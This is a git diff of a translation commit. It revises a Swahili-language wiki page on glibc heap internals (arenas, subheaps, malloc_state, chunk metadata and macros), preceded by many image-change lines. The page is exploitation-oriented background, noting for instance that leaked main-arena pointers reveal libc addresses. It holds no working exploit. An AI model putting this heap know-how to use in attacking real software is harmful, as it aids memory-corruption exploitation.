Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before ![]() (image error) Size: 65 KiB After ![]() (image error) Size: 1.6 KiB ![]() ![]() |
Before ![]() (image error) Size: 1.6 KiB After ![]() (image error) Size: 32 KiB ![]() ![]() |
Before ![]() (image error) Size: 32 KiB After ![]() (image error) Size: 142 KiB ![]() ![]() |
Before ![]() (image error) Size: 142 KiB After ![]() (image error) Size: 108 KiB ![]() ![]() |
Before ![]() (image error) Size: 108 KiB After ![]() (image error) Size: 63 KiB ![]() ![]() |
Before ![]() (image error) Size: 63 KiB After ![]() (image error) Size: 36 KiB ![]() ![]() |
BIN
.gitbook/assets/image (10) (1) (1).png
Normal file
After ![]() (image error) Size: 708 KiB |
Before ![]() (image error) Size: 708 KiB After ![]() (image error) Size: 287 KiB ![]() ![]() |
Before ![]() (image error) Size: 287 KiB After ![]() (image error) Size: 28 KiB ![]() ![]() |
BIN
.gitbook/assets/image (11) (1) (1).png
Normal file
After ![]() (image error) Size: 201 KiB |
Before ![]() (image error) Size: 201 KiB After ![]() (image error) Size: 197 KiB ![]() ![]() |
Before ![]() (image error) Size: 197 KiB After ![]() (image error) Size: 23 KiB ![]() ![]() |
BIN
.gitbook/assets/image (12) (1) (1).png
Normal file
After ![]() (image error) Size: 79 KiB |
Before ![]() (image error) Size: 79 KiB After ![]() (image error) Size: 609 KiB ![]() ![]() |
Before ![]() (image error) Size: 609 KiB After ![]() (image error) Size: 9.5 KiB ![]() ![]() |
Before ![]() (image error) Size: 254 KiB After ![]() (image error) Size: 43 KiB ![]() ![]() |
Before ![]() (image error) Size: 43 KiB After ![]() (image error) Size: 137 KiB ![]() ![]() |
Before ![]() (image error) Size: 137 KiB After ![]() (image error) Size: 16 KiB ![]() ![]() |
BIN
.gitbook/assets/image (14) (1) (1).png
Normal file
After ![]() (image error) Size: 15 KiB |
Before ![]() (image error) Size: 15 KiB After ![]() (image error) Size: 1.3 MiB ![]() ![]() |
Before ![]() (image error) Size: 1.3 MiB After ![]() (image error) Size: 15 KiB ![]() ![]() |
Before ![]() (image error) Size: 29 KiB After ![]() (image error) Size: 15 KiB ![]() ![]() |
Before ![]() (image error) Size: 15 KiB After ![]() (image error) Size: 428 KiB ![]() ![]() |
Before ![]() (image error) Size: 428 KiB After ![]() (image error) Size: 16 KiB ![]() ![]() |
Before ![]() (image error) Size: 27 KiB After ![]() (image error) Size: 43 KiB ![]() ![]() |
Before ![]() (image error) Size: 43 KiB After ![]() (image error) Size: 78 KiB ![]() ![]() |
Before ![]() (image error) Size: 78 KiB After ![]() (image error) Size: 18 KiB ![]() ![]() |
BIN
.gitbook/assets/image (17) (1) (1).png
Normal file
After ![]() (image error) Size: 42 KiB |
Before ![]() (image error) Size: 42 KiB After ![]() (image error) Size: 92 KiB ![]() ![]() |
Before ![]() (image error) Size: 92 KiB After ![]() (image error) Size: 334 KiB ![]() ![]() |
Before ![]() (image error) Size: 90 KiB After ![]() (image error) Size: 33 KiB ![]() ![]() |
Before ![]() (image error) Size: 33 KiB After ![]() (image error) Size: 116 KiB ![]() ![]() |
Before ![]() (image error) Size: 116 KiB After ![]() (image error) Size: 418 KiB ![]() ![]() |
Before ![]() (image error) Size: 418 KiB After ![]() (image error) Size: 35 KiB ![]() ![]() |
Before ![]() (image error) Size: 53 KiB After ![]() (image error) Size: 74 KiB ![]() ![]() |
Before ![]() (image error) Size: 74 KiB After ![]() (image error) Size: 271 KiB ![]() ![]() |
Before ![]() (image error) Size: 271 KiB After ![]() (image error) Size: 105 KiB ![]() ![]() |
Before ![]() (image error) Size: 105 KiB After ![]() (image error) Size: 13 KiB ![]() ![]() |
Before ![]() (image error) Size: 36 KiB After ![]() (image error) Size: 254 KiB ![]() ![]() |
Before ![]() (image error) Size: 254 KiB After ![]() (image error) Size: 5.5 KiB ![]() ![]() |
Before ![]() (image error) Size: 5.5 KiB After ![]() (image error) Size: 254 KiB ![]() ![]() |
Before ![]() (image error) Size: 254 KiB After ![]() (image error) Size: 112 KiB ![]() ![]() |
Before ![]() (image error) Size: 112 KiB After ![]() (image error) Size: 22 KiB ![]() ![]() |
Before ![]() (image error) Size: 18 KiB After ![]() (image error) Size: 3.2 MiB ![]() ![]() |
Before ![]() (image error) Size: 3.2 MiB After ![]() (image error) Size: 10 KiB ![]() ![]() |
Before ![]() (image error) Size: 10 KiB After ![]() (image error) Size: 262 KiB ![]() ![]() |
Before ![]() (image error) Size: 262 KiB After ![]() (image error) Size: 19 KiB ![]() ![]() |
Before ![]() (image error) Size: 95 KiB After ![]() (image error) Size: 407 KiB ![]() ![]() |
Before ![]() (image error) Size: 407 KiB After ![]() (image error) Size: 284 KiB ![]() ![]() |
Before ![]() (image error) Size: 284 KiB After ![]() (image error) Size: 40 KiB ![]() ![]() |
Before ![]() (image error) Size: 58 KiB After ![]() (image error) Size: 175 KiB ![]() ![]() |
Before ![]() (image error) Size: 175 KiB After ![]() (image error) Size: 453 KiB ![]() ![]() |
Before ![]() (image error) Size: 453 KiB After ![]() (image error) Size: 25 KiB ![]() ![]() |
Before ![]() (image error) Size: 23 KiB After ![]() (image error) Size: 172 KiB ![]() ![]() |
Before ![]() (image error) Size: 172 KiB After ![]() (image error) Size: 210 KiB ![]() ![]() |
Before ![]() (image error) Size: 210 KiB After ![]() (image error) Size: 25 KiB ![]() ![]() |
Before ![]() (image error) Size: 20 KiB After ![]() (image error) Size: 1 MiB ![]() ![]() |
Before ![]() (image error) Size: 1 MiB After ![]() (image error) Size: 594 KiB ![]() ![]() |
Before ![]() (image error) Size: 594 KiB After ![]() (image error) Size: 26 KiB ![]() ![]() |
Before ![]() (image error) Size: 334 KiB After ![]() (image error) Size: 35 KiB ![]() ![]() |
|
@ -1,56 +1,56 @@
|
|||
# Heap
|
||||
# Libc Heap
|
||||
|
||||
## Misingi ya Heap
|
||||
## Heap Basics
|
||||
|
||||
Heap ni mahali ambapo programu itaweza kuhifadhi data wakati inahitaji data kwa kuita kazi kama vile **`malloc`**, `calloc`... Zaidi ya hayo, wakati kumbukumbu hii haifai tena, inapatikana kwa kuita kazi **`free`**.
|
||||
Heap ni mahali ambapo programu inaweza kuhifadhi data wakati inapoomba data kwa kuita kazi kama **`malloc`**, `calloc`... Aidha, wakati kumbukumbu hii haitahitajika tena inapatikana kwa kuita kazi **`free`**.
|
||||
|
||||
Kama inavyoonyeshwa, iko baada ya ambapo binary inapakiwa kwenye kumbukumbu (angalia sehemu ya `[heap]`):
|
||||
Kama inavyoonyeshwa, iko tu baada ya ambapo binary inapo load kwenye kumbukumbu (angalia sehemu ya `[heap]`):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ugawaji wa Msitari wa Msingi
|
||||
### Basic Chunk Allocation
|
||||
|
||||
Wakati data fulani inahitajika kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa hiyo. Nafasi hii itakuwa ya benki na tu data iliyohitajika + nafasi ya vichwa vya benki + kisawe cha ukubwa wa chini wa benki kitahifadhiwa kwa kipande. lengo ni kuweka kumbukumbu kiasi cha chini iwezekanavyo bila kufanya iwe ngumu kujua wapi kila kipande kipo. Kwa hili, habari ya kipande cha metadata hutumiwa kujua wapi kila kipande kilichotumiwa/cha bure kipo.
|
||||
Wakati data fulani inapoombwa kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa ajili yake. Nafasi hii itakuwa ya bin na ni data iliyohitajika tu + nafasi ya vichwa vya bin + ofset ya ukubwa wa chini wa bin itahifadhiwa kwa chunk. Lengo ni kuhifadhi kumbukumbu kidogo iwezekanavyo bila kufanya iwe ngumu kupata kila chunk ilipo. Kwa hili, taarifa za metadata za chunk zinatumika kujua kila chunk iliyotumika/iliyopatikana ilipo.
|
||||
|
||||
Kuna njia tofauti za kutenga nafasi hasa ikitegemea benki iliyotumiwa, lakini njia ya jumla ni kama ifuatavyo:
|
||||
Kuna njia tofauti za kuhifadhi nafasi hasa kulingana na bin inayotumika, lakini mbinu ya jumla ni ifuatayo:
|
||||
|
||||
* Programu inaanza kwa kuomba kiasi fulani cha kumbukumbu.
|
||||
* Ikiwa kwenye orodha ya vipande kuna mtu anayeweza kutosha kutosheleza ombi, itatumika
|
||||
* Hii inaweza hata maanisha sehemu ya kipande kilichopo kitatumika kwa ombi hili na sehemu iliyobaki itaongezwa kwenye orodha ya vipande
|
||||
* Ikiwa hakuna kipande kinachopatikana kwenye orodha lakini bado kuna nafasi katika kumbukumbu iliyotengwa, meneja wa heap anaunda kipande kipya
|
||||
* Ikiwa hakuna nafasi ya kutosha ya heap kutenga kipande kipya, meneja wa heap anauliza kernel kupanua kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuzalisha kipande kipya
|
||||
* Ikiwa kila kitu kinafeli, `malloc` inarudisha null.
|
||||
* Ikiwa katika orodha ya chunks kuna mtu anapatikana mkubwa wa kutosha kutimiza ombi, itatumika
|
||||
* Hii inaweza hata kumaanisha kwamba sehemu ya chunk inayopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya chunks
|
||||
* Ikiwa hakuna chunk inayopatikana katika orodha lakini bado kuna nafasi katika kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda chunk mpya
|
||||
* Ikiwa hakuna nafasi ya kutosha ya heap kutenga chunk mpya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda chunk mpya
|
||||
* Ikiwa kila kitu kinashindwa, `malloc` inarudisha null.
|
||||
|
||||
Tambua kwamba ikiwa kumbukumbu iliyohitajika **inapita kizingiti**, **`mmap`** itatumika kutambaza kumbukumbu iliyohitajika.
|
||||
Kumbuka kwamba ikiwa **kumbukumbu iliyohitajika inapita kigezo fulani**, **`mmap`** itatumika kubaini kumbukumbu iliyohitajika.
|
||||
|
||||
## Uga
|
||||
## Arenas
|
||||
|
||||
Katika maombi ya **multithreaded**, meneja wa heap lazima azuie **hali za mbio** ambazo zinaweza kusababisha ajali. Awali, hii ilifanywa kwa kutumia **mutex ya ulimwengu** kuhakikisha kuwa thread moja tu inaweza kufikia heap kwa wakati mmoja, lakini hii ilisababisha **matatizo ya utendaji** kutokana na kizuizi kilichosababishwa na mutex.
|
||||
Katika **maombi ya multithreaded**, meneja wa heap lazima kuzuia **mashindano** ambayo yanaweza kusababisha ajali. Awali, hii ilifanywa kwa kutumia **mutex ya kimataifa** kuhakikisha kwamba ni thread moja tu inaweza kufikia heap kwa wakati mmoja, lakini hii ilisababisha **masuala ya utendaji** kutokana na kuzuiliwa kwa mutex.
|
||||
|
||||
Kushughulikia hili, mpangilio wa heap wa ptmalloc2 uliingiza "arenas," ambapo **kila uwanja** unafanya kazi kama **heap tofauti** na **muundo wake** wa **data** na **mutex**, kuruhusu nyuzi nyingi kufanya shughuli za heap bila kuingiliana, ikiwa wanatumia uwanja tofauti.
|
||||
Ili kushughulikia hili, allocator wa heap ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **ya data** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu watumie arenas tofauti.
|
||||
|
||||
Uwanja "kuu" wa msingi unashughulikia shughuli za heap kwa maombi ya nyuzi moja. Wakati **nyuzi mpya** zinaongezwa, meneja wa heap huwapa **arenas za pili** kupunguza mzozo. Kwanza inajaribu kuambatisha kila nyuzi mpya kwa uwanja usiotumiwa, ukiunda mpya ikihitajika, hadi kufikia kikomo cha mara 2 idadi ya viini vya CPU kwa mifumo ya 32-bit na mara 8 kwa mifumo ya 64-bit. Mara kikomo kinapofikiwa, **nyuzi lazima washiriki arenas**, ikisababisha mzozo wa uwezekano.
|
||||
Arena ya "muhimu" inashughulikia operesheni za heap kwa maombi ya nyuzi moja. Wakati **nyuzi mpya** zinapoongezwa, meneja wa heap anawapa **arenas za sekondari** ili kupunguza ushindani. Kwanza inajaribu kuunganisha kila nyuzi mpya na arena isiyotumika, ikiumba mpya ikiwa inahitajika, hadi kikomo cha mara 2 ya idadi ya nyuzi za CPU kwa mifumo ya 32-bit na mara 8 kwa mifumo ya 64-bit. Mara kikomo kinapofikiwa, **nyuzi lazima zishiriki arenas**, na kusababisha ushindani wa uwezekano.
|
||||
|
||||
Tofauti na uwanja wa msingi, ambao unapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za pili hujenga "subheaps" kwa kutumia `mmap` na `mprotect` kusimuliza tabia ya heap, kuruhusu mabadiliko katika kusimamia kumbukumbu kwa shughuli za multithreaded.
|
||||
Tofauti na arena ya msingi, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za sekondari zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` ili kuiga tabia ya heap, ikiruhusu kubadilika katika usimamizi wa kumbukumbu kwa operesheni za multithreaded.
|
||||
|
||||
### Subheaps
|
||||
|
||||
Subheaps hutumika kama akiba ya kumbukumbu kwa arenas za pili katika maombi ya multithreaded, kuruhusu kuongezeka na kusimamia maeneo yao ya heap tofauti na heap kuu. Hapa kuna jinsi subheaps zinavyotofautiana na heap ya awali na jinsi wanavyofanya kazi:
|
||||
Subheaps hutumikia kama akiba ya kumbukumbu kwa arenas za sekondari katika maombi ya multithreaded, ikiruhusu kukua na kusimamia maeneo yao ya heap tofauti na heap kuu. Hapa kuna jinsi subheaps zinavyotofautiana na heap ya awali na jinsi zinavyofanya kazi:
|
||||
|
||||
1. **Heap ya Awali vs. Subheaps**:
|
||||
* Heap ya awali iko moja kwa moja baada ya binary ya programu kwenye kumbukumbu, na inapanuka kwa kutumia wito wa mfumo wa `sbrk`.
|
||||
* Subheaps, zinazotumiwa na arenas za pili, zinaundwa kupitia `mmap`, wito wa mfumo unaotambaza eneo maalum la kumbukumbu.
|
||||
2. **Akiba ya Kumbukumbu na `mmap`**:
|
||||
* Meneja wa heap anapounda subheap, inahifadhi kizuizi kikubwa cha kumbukumbu kupitia `mmap`. Akiba hii haitoi kumbukumbu mara moja; inatambua eneo ambalo michakato au alokesheni zingine hazipaswi kutumia.
|
||||
* Kwa chaguo-msingi, ukubwa uliohifadhiwa kwa subheap ni 1 MB kwa michakato ya 32-bit na 64 MB kwa michakato ya 64-bit.
|
||||
3. **Upanuzi wa Hatua kwa Hatua na `mprotect`**:
|
||||
* Eneo la kumbukumbu lililohifadhiwa awali linatambuliwa kama `PROT_NONE`, ikionyesha kuwa kernel haitaji kutenga kumbukumbu ya kimwili kwa nafasi hii bado.
|
||||
* Ili "kukuza" subheap, meneja wa heap hutumia `mprotect` kubadilisha ruhusa za ukurasa kutoka `PROT_NONE` hadi `PROT_READ | PROT_WRITE`, kuchochea kernel kutenga kumbukumbu ya kimwili kwa anwani zilizohifadhiwa hapo awali. Hatua hii kwa hatua inaruhusu subheap kupanuka kama inavyohitajika.
|
||||
* Mara subheap nzima inapomalizika, meneja wa heap huunda subheap mpya kuendelea na kutenga.
|
||||
* Heap ya awali iko moja kwa moja baada ya binary ya programu katika kumbukumbu, na inapanuka kwa kutumia wito wa mfumo wa `sbrk`.
|
||||
* Subheaps, zinazotumiwa na arenas za sekondari, zinaundwa kupitia `mmap`, wito wa mfumo unaoelekeza eneo fulani la kumbukumbu.
|
||||
2. **Hifadhi ya Kumbukumbu kwa kutumia `mmap`**:
|
||||
* Wakati meneja wa heap anaunda subheap, anahifadhi block kubwa ya kumbukumbu kupitia `mmap`. Hifadhi hii haitoi kumbukumbu mara moja; inateua tu eneo ambalo michakato mingine ya mfumo au ugawaji haipaswi kutumia.
|
||||
* Kwa kawaida, ukubwa uliotengwa kwa subheap ni 1 MB kwa michakato ya 32-bit na 64 MB kwa michakato ya 64-bit.
|
||||
3. **Upanuzi wa Polepole kwa kutumia `mprotect`**:
|
||||
* Eneo la kumbukumbu lililotengwa awali linapewa alama kama `PROT_NONE`, ikionyesha kwamba kernel haitaji kutenga kumbukumbu halisi kwa nafasi hii bado.
|
||||
* Ili "kukua" subheap, meneja wa heap anatumia `mprotect` kubadilisha ruhusa za ukurasa kutoka `PROT_NONE` hadi `PROT_READ | PROT_WRITE`, ikimhimiza kernel kutenga kumbukumbu halisi kwa anwani zilizotengwa hapo awali. Njia hii ya hatua kwa hatua inaruhusu subheap kupanuka kadri inavyohitajika.
|
||||
* Mara subheap yote itakapokamilika, meneja wa heap anaunda subheap mpya ili kuendelea na ugawaji.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Muundo huu unatenga habari muhimu ya heap. Zaidi ya hayo, kumbukumbu ya heap inaweza kutokuwa ya moja kwa moja baada ya alokesheni zaidi, muundo huu pia utahifadhi habari hiyo.
|
||||
Struktura hii inatenga taarifa muhimu za heap. Aidha, kumbukumbu ya heap inaweza kuwa si ya mfululizo baada ya ugawaji zaidi, struktura hii pia itahifadhi taarifa hiyo.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
@ -70,14 +70,14 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
```
|
||||
### malloc\_state
|
||||
|
||||
**Kila rundo** (eneo kuu au eneo la rundo la nyuzi nyingine) lina **muundo wa `malloc_state`.**\
|
||||
Ni muhimu kuzingatia kwamba muundo wa **`malloc_state` wa eneo kuu** ni **kigezo cha kawaida katika libc** (hivyo kipo katika nafasi ya kumbukumbu ya libc).\
|
||||
Katika kesi ya **muundo wa `malloc_state`** wa rundo la nyuzi, zinapatikana **ndani ya "rundo" la nyuzi yenyewe**.
|
||||
**Kila heap** (main arena au maeneo mengine ya nyuzi) ina **`malloc_state` structure.**\
|
||||
Ni muhimu kutambua kwamba **main arena `malloc_state`** structure ni **kigezo cha kimataifa katika libc** (hivyo iko katika nafasi ya kumbukumbu ya libc).\
|
||||
Katika kesi ya **`malloc_state`** structures za heaps za nyuzi, zinapatikana **ndani ya "heap" ya nyuzi husika**.
|
||||
|
||||
Kuna mambo mazuri ya kuzingatia kutoka kwa muundo huu (angalia msimbo wa C hapo chini):
|
||||
Kuna mambo kadhaa ya kuvutia ya kuzingatia kutoka kwa muundo huu (angalia msimbo wa C hapa chini):
|
||||
|
||||
* `__libc_lock_define (, mutex);` Ipo ili kuhakikisha kuwa muundo huu kutoka kwa rundo unafikiwa na nyuzi 1 kwa wakati
|
||||
* Alama:
|
||||
* `__libc_lock_define (, mutex);` Ipo ili kuhakikisha kwamba muundo huu kutoka kwa heap unafikiwa na nyuzi 1 kwa wakati
|
||||
* Bendera:
|
||||
* ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
||||
|
@ -86,11 +86,11 @@ Kuna mambo mazuri ya kuzingatia kutoka kwa muundo huu (angalia msimbo wa C hapo
|
|||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` ina **viashiria** kwa **nyuzi ya kwanza na ya mwisho** ya bins ndogo, kubwa na zisizopangwa (hiyo -2 ni kwa sababu index 0 haikutumiwa)
|
||||
* Hivyo, **nyuzi ya kwanza** ya bins hizi itakuwa na **kiashiria cha nyuma kwa muundo huu** na **nyuzi ya mwisho** ya bins hizi itakuwa na **kiashiria cha mbele** kwa muundo huu. Hii kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja** anwani hizi katika eneo kuu utakuwa na kiashiria kwa muundo katika **libc**.
|
||||
* Miundo `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za maeneo
|
||||
* Nyuzi ya `juu` ni "nyuzi" ya mwisho, ambayo kimsingi ni **eneo lote lililobaki la rundo**. Mara nyuzi ya juu inapokuwa "tupu", rundo limetumiwa kabisa na inahitaji kuomba nafasi zaidi.
|
||||
* Nyuzi ya `kukumbusha ya mwisho` inatokana na hali ambapo nyuzi ya saizi kamili haipatikani na kwa hivyo nyuzi kubwa zaidi inagawanywa, sehemu iliyobaki ya kiashiria inawekwa hapa.
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` ina **viungo** kwa **chunks za kwanza na za mwisho** za **bins** ndogo, kubwa na zisizo na mpangilio (the -2 ni kwa sababu index 0 haitumiki)
|
||||
* Kwa hivyo, **chunk ya kwanza** ya bins hizi itakuwa na **kiungo cha nyuma kwa muundo huu** na **chunk ya mwisho** ya bins hizi itakuwa na **kiungo cha mbele** kwa muundo huu. Ambayo kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja anwani hizi katika main arena** utakuwa na kiungo kwa muundo katika **libc**.
|
||||
* Struktura `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za maeneo
|
||||
* Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara tu chunk ya juu inapokuwa "bila", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
|
||||
* Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haipatikani na kwa hivyo chunk kubwa inakatwa, sehemu ya kiungo iliyobaki inawekwa hapa.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
|
|||
```
|
||||
### malloc\_chunk
|
||||
|
||||
Muundo huu unawakilisha kipande maalum cha kumbukumbu. Maeneo mbalimbali yana maana tofauti kwa vipande vilivyotengwa na visivyotengwa.
|
||||
Muundo huu unawakilisha kipande maalum cha kumbukumbu. Nyanja mbalimbali zina maana tofauti kwa vipande vilivyotolewa na visivyotolewa.
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
|
@ -155,35 +155,35 @@ struct malloc_chunk* bk_nextsize;
|
|||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
Kama ilivyotajwa hapo awali, vipande hivi pia vina baadhi ya metadata, vinaonyeshwa vizuri katika picha hii:
|
||||
Kama ilivyotajwa hapo awali, vipande hivi pia vina metadata, ambayo inawakilishwa vizuri katika picha hii:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
Metadata kawaida ni 0x08B ikionyesha ukubwa wa kipande cha sasa kwa kutumia biti za mwisho 3 kueleza:
|
||||
Metadata kawaida ni 0x08B ikionyesha ukubwa wa sasa wa kipande kwa kutumia bits 3 za mwisho kuonyesha:
|
||||
|
||||
* `A`: Ikiwa ni 1 inatoka kwenye subheap, ikiwa ni 0 iko kwenye uwanja mkuu
|
||||
* `M`: Ikiwa ni 1, kipande hiki ni sehemu ya nafasi iliyotengwa na mmap na sio sehemu ya kitalu
|
||||
* `P`: Ikiwa ni 1, kipande kilichotangulia kina matumizi
|
||||
* `A`: Ikiwa 1 inatoka kwenye subheap, ikiwa 0 iko kwenye eneo kuu
|
||||
* `M`: Ikiwa 1, kipande hiki ni sehemu ya nafasi iliyotolewa na mmap na sio sehemu ya heap
|
||||
* `P`: Ikiwa 1, kipande kilichopita kinatumika
|
||||
|
||||
Kisha, nafasi kwa data ya mtumiaji, na mwishowe 0x08B kuonyesha ukubwa wa kipande kilichotangulia wakati kipande kinapatikana (au kuhifadhi data ya mtumiaji wakati inatengwa).
|
||||
Kisha, nafasi ya data ya mtumiaji, na hatimaye 0x08B kuonyesha ukubwa wa kipande kilichopita wakati kipande kinapatikana (au kuhifadhi data ya mtumiaji wakati inatolewa).
|
||||
|
||||
Zaidi ya hayo, wakati inapatikana, data ya mtumiaji hutumiwa pia kuhifadhi baadhi ya data:
|
||||
Zaidi ya hayo, wakati inapatikana, data ya mtumiaji inatumika pia kubeba data fulani:
|
||||
|
||||
* **`fd`**: Kiashiria kwa kipande kinachofuata
|
||||
* **`bk`**: Kiashiria kwa kipande kilichotangulia
|
||||
* **`fd_nextsize`**: Kiashiria kwa kipande cha kwanza kwenye orodha ni ndogo kuliko yenyewe
|
||||
* **`bk_nextsize`:** Kiashiria kwa kipande cha kwanza kwenye orodha ni kubwa kuliko yenyewe
|
||||
* **`fd`**: Kielekezi kwa kipande kinachofuata
|
||||
* **`bk`**: Kielekezi kwa kipande kilichopita
|
||||
* **`fd_nextsize`**: Kielekezi kwa kipande cha kwanza katika orodha ambacho ni kidogo kuliko yenyewe
|
||||
* **`bk_nextsize`:** Kielekezi kwa kipande cha kwanza katika orodha ambacho ni kikubwa kuliko yenyewe
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Tambua jinsi kufanya orodha hii kwa njia hii kunazuia haja ya kuwa na safu ambapo kila kipande kinaandikishwa.
|
||||
Kumbuka jinsi kuunganisha orodha hii inazuia hitaji la kuwa na array ambapo kila kipande kimoja kinarekodiwa.
|
||||
{% endhint %}
|
||||
|
||||
### Vionjo vya Kipande
|
||||
### Kielekezi za Kipande
|
||||
|
||||
Wakati malloc inapotumiwa, kiashiria kwa yaliyomo yanayoweza kuandikwa hurudishwa (moja kwa moja baada ya vichwa), hata hivyo, wakati wa kusimamia vipande, inahitajika kiashiria kwa mwanzo wa vichwa (metadata).\
|
||||
Kwa mabadiliko haya, kazi hizi hutumiwa:
|
||||
Wakati malloc inatumika, kielekezi kwa maudhui ambayo yanaweza kuandikwa kinarejeshwa (tu baada ya vichwa), hata hivyo, wakati wa kusimamia vipande, inahitajika kielekezi kwa mwanzo wa vichwa (metadata).\
|
||||
Kwa ajili ya mabadiliko haya, kazi hizi zinatumika:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
|
@ -201,9 +201,9 @@ Kwa mabadiliko haya, kazi hizi hutumiwa:
|
|||
#define MINSIZE \
|
||||
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
|
||||
```
|
||||
### Ulinganifu & ukubwa wa chini
|
||||
### Alignment & min size
|
||||
|
||||
Kiashiria kwa kipande na `0x0f` lazima iwe 0.
|
||||
Pointer kwa chunk na `0x0f` lazima iwe 0.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
|
||||
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
||||
|
@ -258,9 +258,11 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
|||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Kumbuka kwamba kwa kuhesabu jumla ya nafasi inayohitajika, `SIZE_SZ` inaongezwa mara moja tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, hivyo basi kichwa cha awali pekee kinahitajika.
|
||||
|
||||
### Pata data ya Chunk na badilisha metadata
|
||||
|
||||
Hizi kazi hufanya kazi kwa kupokea kidude cha kidole na ni muhimu kwa ajili ya kuangalia/kuseti metadata:
|
||||
Hizi kazi zinafanya kazi kwa kupokea kiashiria kwa chunk na ni muhimu kuangalia/kweka metadata:
|
||||
|
||||
* Angalia bendera za chunk
|
||||
```c
|
||||
|
@ -292,7 +294,7 @@ the chunk to the user, if necessary. */
|
|||
/* Mark a chunk as not being on the main arena. */
|
||||
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
|
||||
```
|
||||
* Ukubwa na pointa kwa vipande vingine
|
||||
* Sizes na viashiria vya vipande vingine
|
||||
```c
|
||||
/*
|
||||
Bits to mask off when extracting size
|
||||
|
@ -325,7 +327,7 @@ people extending or adapting this malloc.
|
|||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
* **Kuingiza Bit**
|
||||
* Insue bit
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
|
@ -349,7 +351,7 @@ people extending or adapting this malloc.
|
|||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
* Weka kichwa na mguu (wakati idadi ya vipande inatumika)
|
||||
* Weka kichwa na mguu (wakati nambari za kipande zinatumika)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
|
@ -393,7 +395,7 @@ return ptr;
|
|||
|
||||
### Mfano wa Haraka wa Heap
|
||||
|
||||
Mfano wa haraka wa heap kutoka [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) lakini kwa arm64:
|
||||
Mfano wa haraka wa heap kutoka [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) lakini katika arm64:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -406,13 +408,13 @@ ptr = malloc(0x10);
|
|||
strcpy(ptr, "panda");
|
||||
}
|
||||
